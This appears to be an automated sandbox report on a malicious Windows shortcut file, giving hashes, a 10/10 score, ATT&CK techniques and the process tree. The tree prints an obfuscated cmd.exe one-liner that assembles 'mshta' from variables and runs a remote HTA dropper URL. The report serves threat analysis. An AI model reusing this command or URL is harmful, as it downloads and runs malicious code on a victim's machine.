f28ff1677a46dd274184eb7fd4af2a0906a5909fe24241fce7b7475314f426a5

Analysis

max time kernel
60s
max time network
25s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
18/08/2026, 11:15

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General

Target
DOC-B2UJ8Z.lnk
Size 1KB
Sample260818-ncwsyshr3w
SHA256 f28ff1677a46dd274184eb7fd4af2a0906a5909fe24241fce7b7475314f426a5
MD5 c9a80fdca6c1f4c78d55bf547179ba7c
SHA1 1b1919a64c4d8e5f0c1d796527f30d0cf077fd91
SHA512 bfc00df99ec351f35c8d9fc5f6fc6f29bd25ab77a4bf0bd83fff6c14ac1ace6b78233a3524c72d2ce8a58921030c6e42aefa12eb47a6cca6b99ec54fa26b842b
TLSH
T1B33147103EFD0624F3F79F7685BB5B2089BF785A8D10C62D0140854D5432A02E67BF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://documentacion.lat/h/estagio1.php?r=3F1477F15398D1

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4612	cmd.exe
2836	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4612 wrote to memory of 2836	4612	cmd.exe	90
PID 2836 wrote to memory of 1432	2836	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-B2UJ8Z.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4612
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /c "set YAu=msh&&set jBi=ta&&start "" !YAu!!jBi! https://documentacion.lat/h/estagio1.php?r=3F1477F15398D1"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2836
- - C:\Windows\System32\mshta.exe
    mshta https://documentacion.lat/h/estagio1.php?r=3F1477F15398D1
    3⤵
    PID:1432

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads